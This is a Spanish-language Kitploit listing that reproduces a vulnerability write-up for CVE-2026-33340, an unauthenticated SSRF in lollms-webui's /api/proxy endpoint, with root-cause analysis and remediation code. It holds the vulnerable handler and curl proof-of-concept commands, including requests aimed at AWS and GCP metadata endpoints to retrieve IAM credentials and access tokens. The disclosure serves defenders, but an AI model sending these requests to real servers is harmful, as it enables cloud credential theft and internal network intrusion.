Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-33340 — CVE-2026-33340: SSRF crítico en lollms-webui /api/proxy - Falsificación de solicitudes arbitrarias sin autenticación (CVSS 9.1) | Kitploit
Herramientas/GitHubGitHub/regaan/cve-2026-33340
ReconocimientoAnálisis de VulnerabilidadesExplotaciónSeguridad WebSeguridad en la NubeAprendizaje y Educación
GitHubregaan/cve-2026-33340

CVE-2026-33340

CVE-2026-33340: SSRF crítico en lollms-webui /api/proxy - Falsificación de solicitudes arbitrarias sin autenticación (CVSS 9.1)

Ver Repositorio
16hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-33340: SSRF en lollms-webui

Descripción general

CampoDetalle
ID CVECVE-2026-33340
VulnerabilidadFalsificación de solicitudes del lado del servidor (Server-Side Request Forgery, SSRF)
Producto afectadoParisNeo/lollms-webui (LoLLMS WEBUI)
GravedadCrítica — CVSS 9.1
Vector CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
CWECWE-918: Falsificación de solicitudes del lado del servidor (SSRF)
Componente afectadolollms_core/lollms/server/endpoints/lollms_apps.py
Endpoint vulnerable/api/proxy
AvisoGHSA-mcwr-5469-pxj4
NVDEntrada NVD
SentinelOneAnálisis de SentinelOne
Descubierto porRegaan R — ROT Independent Security Research Lab

Resumen

Se ha identificado una vulnerabilidad crítica de falsificación de solicitudes del lado del servidor (Server-Side Request Forgery, SSRF) en lollms-webui, la interfaz web de Lord of Large Language and Multi modal Systems. El endpoint @router.post("/api/proxy") permite a atacantes no autenticados obligar al servidor a realizar solicitudes GET arbitrarias. Esto puede explotarse para acceder a servicios internos, escanear redes locales o exfiltrar metadatos sensibles de la nube, como los tokens IAM de AWS/GCP.


Producto afectado

  • Repositorio: ParisNeo/lollms-webui / ParisNeo/lollms
  • Componente afectado: lollms_core/lollms/server/endpoints/lollms_apps.py (Líneas 443-450)
  • Endpoint vulnerable: /api/proxy
  • Versiones afectadas: Todas las versiones existentes conocidas

Análisis de causa raíz

La vulnerabilidad existe porque la función proxy en lollms_apps.py no implementa autenticación ni ninguna forma de validación de URL/dominio. Acepta una cadena URL sin procesar del usuario y la pasa directamente a un cliente HTTP asíncrono.

Código vulnerable

@router.post("/api/proxy")
async def proxy(request: ProxyRequest):
    try:
        async with httpx.AsyncClient() as client:
            # No check_access() call — unauthenticated
            # No URL validation — arbitrary destinations
            response = await client.get(request.url)
            return {"content": response.text}
    except Exception as e:
        raise HTTPException(status_code=500, detail=str(e))

Cuál es el problema

  1. Sin autenticación: El endpoint no llama a check_access(lollmsElfServer, request.client_id) ni a ningún middleware de autenticación, lo que permite que cualquier usuario no autenticado lo invoque.
  2. Sin validación de URL: La URL proporcionada por el usuario se pasa directamente a httpx.AsyncClient().get() sin comprobar el destino contra una lista blanca ni bloquear rangos de IP privados/internos.
  3. Divulgación completa de la respuesta: El cuerpo completo de la respuesta HTTP se devuelve al solicitante mediante {"content": response.text}, lo que permite la exfiltración total de datos.

Prueba de concepto

Paso 1 — Configurar un servicio interno simulado

echo "INTERNAL_SECRET_DATA" > secret.txt
python3 -m http.server 8888

Paso 2 — Explotar el SSRF

curl -X POST http://localhost:9600/api/proxy \
     -H "Content-Type: application/json" \
     -d '{"url": "http://localhost:8888/secret.txt"}'

Paso 3 — Observar la respuesta

{"content": "INTERNAL_SECRET_DATA\n"}

El servidor obtuvo el archivo del servicio interno y devolvió su contenido al atacante.

Explotación de metadatos de la nube

# AWS IMDSv1 — Retrieve IAM credentials
curl -X POST http://<target>:9600/api/proxy \
     -H "Content-Type: application/json" \
     -d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

# GCP — Retrieve access token
curl -X POST http://<target>:9600/api/proxy \
     -H "Content-Type: application/json" \
     -d '{"url": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"}'

Impacto

EscenarioDescripción
Robo de credenciales en la nubeLos atacantes en plataformas en la nube (AWS/GCP/Azure) pueden acceder a http://169.254.169.254/ para recuperar metadatos de instancia, credenciales IAM y tokens de acceso, lo que conduce al compromiso total de la cuenta en la nube.
Pivotación en la red internaLos atacantes pueden sondear bases de datos internas, APIs, paneles de administración e interfaces de gestión no expuestas a Internet público.
Acceso a servicios en localhostLos atacantes pueden alcanzar servicios vinculados a localhost (Redis, Elasticsearch, API de Docker, consolas de bases de datos) que confían implícitamente en el tráfico local.
Escaneo de puertos internoEl SSRF puede utilizarse para enumerar puertos abiertos y servicios en ejecución en la red interna observando los tiempos de respuesta y los mensajes de error.
Exfiltración de datosCualquier dato accesible por HTTP dentro del alcance de red del servidor puede leerse y devolverse al atacante.

Flujo del ataque

Attacker                         lollms-webui Server                    Internal Network
   |                                    |                                      |
   |  POST /api/proxy                   |                                      |
   |  {"url": "http://169.254..."}      |                                      |
   |----------------------------------->|                                      |
   |                                    |  GET http://169.254.169.254/...      |
   |                                    |------------------------------------->|
   |                                    |                                      |
   |                                    |  200 OK (IAM credentials)            |
   |                                    |<-------------------------------------|
   |                                    |                                      |
   |  {"content": "<credentials>"}      |                                      |
   |<-----------------------------------|                                      |

Remediación propuesta

1. Añadir autenticación

@router.post("/api/proxy")
async def proxy(request: ProxyRequest):
    check_access(lollmsElfServer, request.client_id)  # Add this
    # ...

2. Implementar validación de URL

from urllib.parse import urlparse
import ipaddress

BLOCKED_RANGES = [
    ipaddress.ip_network("127.0.0.0/8"),
    ipaddress.ip_network("10.0.0.0/8"),
    ipaddress.ip_network("172.16.0.0/12"),
    ipaddress.ip_network("192.168.0.0/16"),
    ipaddress.ip_network("169.254.0.0/16"),  # Cloud metadata
]

def is_safe_url(url: str) -> bool:
    parsed = urlparse(url)
    hostname = parsed.hostname
    if hostname in ("localhost", ""):
        return False
    try:
        ip = ipaddress.ip_address(hostname)
        return not any(ip in network for network in BLOCKED_RANGES)
    except ValueError:
        # Hostname is a domain — resolve and check
        import socket
        resolved = socket.gethostbyname(hostname)
        ip = ipaddress.ip_address(resolved)
        return not any(ip in network for network in BLOCKED_RANGES)

3. Restringir a dominios de lista blanca

ALLOWED_DOMAINS = ["api.example.com", "cdn.example.com"]
Descargar herramienta